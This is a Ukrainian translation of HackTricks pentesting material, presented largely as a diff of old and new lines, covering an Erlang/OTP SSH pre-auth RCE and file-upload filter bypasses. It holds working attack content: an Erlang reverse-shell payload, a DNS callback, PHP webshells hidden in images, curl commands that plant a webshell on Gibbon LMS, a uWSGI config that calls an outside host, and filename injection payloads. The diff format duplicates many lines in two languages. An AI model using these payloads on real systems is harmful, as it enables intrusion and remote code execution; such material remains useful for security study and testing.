* **Корінна причина:** вбудований SSH-демон Erlang не перевіряє поточний стан перед викликом `ssh_connection:handle_msg/2`. Тому будь-який пакет з кодом повідомлення 80-255 досягає обробника з'єднання, поки сесія все ще знаходиться в стані *userauth*.
* **Вплив:** неаутентифіковане **віддалене виконання коду** (демон зазвичай працює як **root** на вбудованих/OT пристроях).
* **Вразливі версії:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Причина:** Erlang native SSH daemon не перевіряє поточний стан перед викликом `ssh_connection:handle_msg/2`. Тому будь-який пакет з кодом повідомлення 80-255 доходить до обробника з'єднання, поки сесія все ще знаходиться в стані *userauth*.
* **Вплив:** unauthenticated **remote code execution** (демон зазвичай працює як **root** на embedded/OT devices).
Приклад корисного навантаження, яке створює зворотний шелл, прив'язаний до каналу, контрольованого зловмисником:
Приклад payload, який запускає reverse shell, прив'язаний до attacker-controlled channel:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Сліпа RCE / виявлення поза каналом може бути виконано через DNS:
Blind RCE / out-of-band detection можна виконати через DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Виявлення та пом'якшення:
* Перевірте трафік SSH: **відхиліть будь-який пакет з кодом повідомлення ≥ 80, спостережуваним до аутентифікації**.
* Оновіть Erlang/OTP до **27.3.3 / 26.2.5.11 / 25.3.2.20** або новішої версії.
* Обмежте доступ до портів управління (22/2022/830/2222) особливо на обладнанні OT.
* Перевіряйте SSH-трафік: **відкидайте будь-який пакет з кодом повідомлення ≥ 80, виявлений до автентифікації**.
* Оновіть Erlang/OTP до **27.3.3 / 26.2.5.11 / 25.3.2.20** або новіших.
* Обмежте доступність портів управління (22/2022/830/2222) особливо на OT-обладнанні.
---
### Інші реалізації, що підлягають впливу
* **libssh** 0.6 0.8 (сторона сервера) **CVE-2018-10933** приймає неаутентифіковане `SSH_MSG_USERAUTH_SUCCESS`, надіслане клієнтом, фактично є логічною помилкою зворотного порядку.
### Інші постраждалі реалізації
* **libssh** 0.6 0.8 (на стороні сервера) **CVE-2018-10933** приймає неаутентифікований `SSH_MSG_USERAUTH_SUCCESS`, надісланий клієнтом, фактично зворотня логічна помилка.
Загальний урок полягає в тому, що будь-яке відхилення від станів, передбачених RFC, може бути фатальним; при перегляді або фуззингу демонів SSH звертайте особливу увагу на *забезпечення станів машини*.
Загальний урок: будь-яке відхилення від переходів станів, визначених RFC, може бути фатальним; при перевірці або fuzzing SSH-демонів звертайте особливу увагу на *забезпечення автомата станів*.
## Посилання
## References
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Посібники з посилення SSH](https://www.ssh-audit.com/hardening_guides.html)
- [Посібник з хакінгу SSH від Turgensec](https://community.turgensec.com/ssh-hacking-guide)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## Автоматичні команди HackTricks
```

View File

@ -7,7 +7,7 @@
Інші корисні розширення:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **Робота в PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@
### Обхід перевірок розширень файлів
1. Якщо застосовується, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи великі літери: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (також використовуйте попередні розширення):_
1. Якщо вони застосовуються, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи великі літери: _pHp, .pHP5, .PhAr ..._
2. _Перевірте **додавання валідного розширення перед** виконавчим розширенням (також використовуйте попередні розширення):_
- _file.png.php_
- _file.png.Php5_
3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використати Burp для **перебору** всіх **ascii** та **Unicode** символів. (_Зауважте, що також можна спробувати використати **раніше** згадані **розширення**_)
3. Спробуйте додати **спеціальні символи в кінці.** Можна використати Burp щоб **bruteforce** пройти всі **ascii** та **Unicode** символи. (_Зауваження: ви також можете спробувати використати **вже згадані** розширення_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обійти захист, **обманувши парсер розширень** на сервері за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення**, щоб підготувати кращий payload._
4. Спробуйте обійти захист, **обдуривши парсер розширень** на серверній стороні за допомогою технік, як-от **подвоєння** **розширення** або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення** для підготовки кращого payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@
5. Додайте **ще один шар розширень** до попередньої перевірки:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Спробуйте поставити **виконавче розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де будь-який файл з розширенням **.php**, але не обов'язково який закінчується на .php, буде виконувати код):
6. Спробуйте помістити **виконувальне розширення перед валідним розширенням** та сподіватися на некоректну конфігурацію сервера. (корисно для експлуатації misconfigurations Apache, де будь-який файл з розширенням **.php**, але не обов'язково що закінчується на .php, може виконувати код):
- _ex: file.php.png_
7. Використання **NTFS alternate data stream (ADS)** в **Windows**. У цьому випадку після забороненого розширення та перед дозволеним буде вставлено символ двокрапки ":”. Як результат, на сервері буде створено **порожній файл із забороненим розширенням** (наприклад "file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання короткого імені файлу. Шаблон "**::$data**” також можна використати для створення не-порожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу додаткових обмежень (наприклад "file.asp::$data.”)
8. Спробуйте перевантажити ліміти імені файлу. Дійсне розширення буде обрізано. І зловмисний PHP залишиться. AAA<--SNIP-->AAA.php
7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено двокрапку ":". У результаті створиться **порожній файл із забороненим розширенням** на сервері (наприклад "file.asax:.jpg"). Цей файл можна буде редагувати пізніше іншими техніками, наприклад використовуючи його коротке ім'я. Шаблон "**::$data**" також можна використати для створення непорожніх файлів. Тому додавання крапки після цього шаблону також може допомогти обійти подальші обмеження (наприклад "file.asp::$data.").
8. Спробуйте перевищити ліміти імені файлу. Валідне розширення обрізається, а шкідливий PHP залишається. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Деякі upload handlers обрізають або нормалізують кінцеві крапки в збереженому імені файлу. У UniSharps Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти валідацію розширення шляхом:
Деякі upload handlers обрізають або нормалізують трайлінг-крапки у збережених іменах файлів. В UniSharps Laravel Filemanager (unisharp/laravel-filemanager) версій до 2.9.1 можна обійти валідацію розширень шляхом:
- Використання дійсного image MIME та magic header (наприклад, PNGs `\x89PNG\r\n\x1a\n`).
- Іменування завантажуваного файлу з PHP-розширенням, за яким слідує крапка, наприклад, `shell.php.`.
- Сервер обрізає кінцеву крапку і зберігає `shell.php`, який буде виконаний, якщо його розмістити в веб-доступному каталозі (за замовчуванням public storage, наприклад `/storage/files/`).
- Використання валідного image MIME та magic header (наприклад PNGs `\x89PNG\r\n\x1a\n`).
- Назвати завантажений файл з PHP-розширенням та крапкою наприкінці, наприклад `shell.php.`.
- Сервер обрізає трайлінг-крапку і зберігає `shell.php`, який виконається, якщо він буде у директорії, що обслуговується вебом (типовий public storage як `/storage/files/`).
Мінімальний PoC (Burp Repeater):
```http
@ -80,65 +80,66 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Потім зверніться до збереженого шляху (типово для Laravel + LFM):
Потім зробіть запит до збереженого шляху (типово для Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Заходи захисту:
Mitigations:
- Оновіть unisharp/laravel-filemanager до ≥ 2.9.1.
- Запровадьте суворі серверні списки дозволених (allowlists) та повторно перевіряйте збережене ім'я файлу.
- Зберігайте завантаження в директоріях, де виконання не дозволене.
- Застосуйте суворі server-side allowlists і повторно перевіряйте збережене ім'я файлу.
- Обслуговуйте завантаження з невиконуваних локацій.
### Обхід Content-Type, magic number, стиснення та зміни розміру
### Обхід Content-Type, Magic Number, Compression & Resizing
- Обійдіть перевірки **Content-Type**, встановивши **значення** **заголовка** **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
- Обійти **Content-Type** перевірки, встановивши **value** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Обійдіть перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставте shell у **метадані**:\
- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або ввести шелл у **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести payload безпосередньо** в зображення:\
`\` або ви також можете **ввести payload прямо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо до вашого зображення додається **стискання**, наприклад за допомогою стандартних PHP-бібліотек як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть бути марними. Однак ви можете використати **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Проте ви можете використати **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload, який **виживає при зміні розміру зображення**, використовує функцію PHP-GD `thumbnailImage`. Проте ви можете використати **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Якщо до вашого зображення додається **стиснення**, наприклад з використанням стандартних PHP-бібліотек типу [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть виявитися некорисними. Проте ви можете використати **PLTE chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може змінювати **розмір** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Проте ви можете використати **IDAT chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення payload, який **виживає при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте ви можете використати **tEXt chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) щоб вставити текст, який **виживе після стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Інші трюки для перевірки
### Інші прийоми для перевірки
- Знайдіть вразливість, яка дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion** щоб виконати бекдор.
- Знайдіть **Local File Inclusion** вразливість для виконання backdoor.
- **Можливе розкриття інформації**:
1. Завантажте **кілька разів** (і одночасно) **той самий файл** з **тим самим іменем**
2. Завантажте файл з **іменем** файлу або папки, яка **вже існує**
3. Завантаження файлу з іменем **"." , ".." або "..."**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в "/www/uploads/" директорії, файл з ім'ям "." створить файл під назвою "uploads" у директорії "/www/".
4. Завантажте файл, який важко видалити, наприклад **"…:.jpg"** в **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **недопустимими символами**, такими як `|<>*?"` у його імені. (Windows)
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозріле), який **буде виконувати код** при випадковому відкритті жертвою.
1. Завантажте **кілька разів** (і одночасно) **той самий файл** з **тим самим ім'ям**
2. Завантажте файл з **ім'ям** файлу або папки, яка **вже існує**
3. Завантаження файлу з ім'ям **"." , "..", або "…"**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в директорії "/www/uploads/", ім'я файлу "." створить файл з ім'ям
uploads” в директорії "/www/".
4. Завантажте файл, який може бути важко видалити, такий як **"…:.jpg"** в **NTFS**. (Windows)
5. Завантажте файл в **Windows** з **недопустимими символами** в імені, такими як `|<>*?”`. (Windows)
6. Завантажте файл в **Windows** використовуючи зарезервовані (**заборонені**) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також завантажити виконуваний файл (.exe) або .html (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
### Special extension tricks
### Спеціальні хитрощі з розширеннями
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Якщо ви намагаєтеся завантажити файли на **PHP** server, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Якщо ви намагаєтеся завантажити файли на **ASP** server, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючись за допомогою php, або включаючись всередині скрипту...)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
Розширення `.inc` інколи використовується для php-файлів, що використовуються лише для **імпорту файлів**, тож іноді це розширення могло бути дозволено для **виконання**.
## **Jetty RCE**
Якщо ви можете завантажити XML-файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Тому, як зазначено на зображенні, завантажте XML-файл до `$JETTY_BASE/webapps/` та очікуйте shell!
Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Тому, як показано на зображенні нижче, завантажте XML файл до `$JETTY_BASE/webapps/` і чекайте шелл!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Для детального розгляду цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити конфігураційний файл `.ini`. uWSGI конфігураційні файли використовують специфічний синтаксис для включення "magic" змінних, placeholder-ів та операторів. Зокрема, оператор '@', що використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" особливо потужна, дозволяючи читати дані з stdout процесу. Цю можливість можна маніпулювати для шкідливих цілей, таких як Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл.
Розглянемо наступний приклад шкідливого `uwsgi.ini` файлу, який демонструє різні схеми:
Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми:
```ini
[uwsgi]
; read from a symbol
@ -156,14 +157,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Виконання payload відбувається під час розбору файлу конфігурації. Щоб конфігурація активувалася й була розпарсена, процес uWSGI має бути перезапущений (наприклад, після збою або через Denial of Service attack) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через задані інтервали при виявленні змін.
Виконання payload відбувається під час розбору файлу конфігурації. Щоб конфігурація була активована і розібрана, процес uWSGI має бути або перезапущений (потенційно після крашу або через Denial of Service attack), або файл має бути налаштований на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через задані інтервали після виявлення змін.
Важливо розуміти поблажливість парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload можна вставити в двійковий файл (наприклад, зображення або PDF), що ще більше розширює можливі вектори експлуатації.
Важливо розуміти поблажливий характер розбору файлу конфігурації uWSGI. Конкретно, обговорюваний payload може бути вставлений у бінарний файл (наприклад, зображення або PDF), що ще більше розширює можливі вектори експлуатації.
## **wget File Upload/SSRF Trick**
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Інколи можна виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, чи розширення завантажуваних файлів знаходиться в білому списку, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\
Максимальна довжина **filename** в **linux****255**, проте **wget** обрізає назви файлів до **236** символів. Ви можете **завантажити файл з назвою "A"\*232+".php"+".gif"**, ця назва файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** — **valid** розширення), але `wget` **перейменує** файл на **"A"\*232+".php"**.
Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]` (сервер ігнорує type/name, base64-декодує кінцеву частину)
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
Мінімальний PoC для запису та подальшого читання файлу:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Розмістіть мінімальний webshell і виконайте команди:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Примітки:
- Обробник виконує `base64_decode($_POST["img"])` після розділення по `;` і `,`, а потім записує байти в `$absolutePath . '/' . $_POST['path']` без перевірки розширення/типу.
- Внаслідок цього код виконується від імені користувача web сервісу (наприклад, XAMPP Apache на Windows).
Посилання на цю уразливість включають usd HeroLab advisory і запис NVD. Див. розділ References нижче.
## **wget Завантаження файлів/SSRF Трюк**
В інколи може трапитися, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. В таких випадках код може перевіряти, що розширення завантажуваних файлів є у білому списку, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак **цю перевірку можна обійти.**\
Максимальна довжина імені файлу в **linux****255** символів, проте **wget** обрізує імена файлів до **236** символів. Можна **завантажити файл з іменем "A"*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +227,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
Зверніть увагу, що **ще один варіант**, про який ви, можливо, думаєте, щоб обійти цю перевірку — це змусити **HTTP server redirect to a different file**, тож початковий URL може пройти перевірку, а потім wget завантажить перенаправлений файл під новим іменем. Це **не спрацює**, **якщо не** використовувати wget з параметром `--trust-server-names`, оскільки **wget will download the redirected page with the name of the file indicated in the original URL**.
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, призначений допомогти Pentesters and Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різні bug bounty techniques для спрощення процесу виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений, щоб допомогти Pentesters та Bug Hunters тестувати механізми завантаження файлів. Він використовує різні bug bounty techniques для спрощення процесу ідентифікації та експлуатації вразливостей, забезпечуючи ретельну оцінку web applications.
### Corrupting upload indices with snprintf quirks (historical)
Деякі застарілі upload-хендлери, що використовують `snprintf()` або подібні функції для побудови масивів multi-file з однофайлового upload, можуть бути обмануті та змусити підробити структуру `_FILES`. Через невідповідності та усікання в поведінці `snprintf()`, ретельно сформований одиночний upload може виглядати як кілька індексованих файлів на стороні сервера, плутаючи логіку, яка очікує чіткої структури (наприклад, трактуючи це як multi-file upload і переходячи до небезпечних гілок). Хоча сьогодні це нішеве явище, цей патерн «index corruption» час від часу з'являється в CTFs та старих кодових базах.
Деякі застарілі upload handlers, які використовують `snprintf()` або подібні функції для побудови масивів multi-file з single-file upload, можна обдурити, щоб підробити структуру `_FILES`. Через невідповідності та усікання в поведінці `snprintf()`, ретельно сформований single upload може виглядати як кілька проіндексованих файлів на боці сервера, вводячи в оману логіку, яка припускає сувору форму (наприклад, трактуючи це як multi-file upload і переходячи в небезпечні гілки). Хоча сьогодні це нішова проблема, цей “index corruption” pattern час від часу з’являється в CTFs і в старих codebases.
## Від File upload до інших вразливостей
## Від завантаження файлів до інших вразливостей
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- Вкажіть **filename** як `../../../tmp/lol.png` та спробуйте досягти **path traversal**
- Вкажіть **filename** як `sleep(10)-- -.jpg` і ви можете досягти **SQL injection**
- Вкажіть **filename** як `<svg onload=alert(document.domain)>` для досягнення **XSS**
- Вкажіть **filename** як `; sleep 10;` щоб перевірити деякі **command injection** (більше [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Спробуйте **different svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Якщо ви можете вказати web server, щоб він отримав зображення з URL, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **image** буде **saved** на якесь **public** місце, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
- Спеціально підготовлені PDFs для XSS: наступна сторінка показує, як **inject PDF data to obtain JS execution** (../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDFs, ви можете підготувати PDF, який виконуватиме довільний JS за наведеними інструкціями.
- Завантажте вміст \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) щоб перевірити, чи сервер має якийсь **antivirus**
- Перевірте, чи існує якийсь **size limit** при завантаженні файлів
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Ось топ10 речей, які можна досягти завантаженням (з [тут](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -234,18 +275,20 @@ Heres a top 10 list of things that you can achieve by uploading (from [here](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Магічні заголовкові байти
## Магічні байти заголовку
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
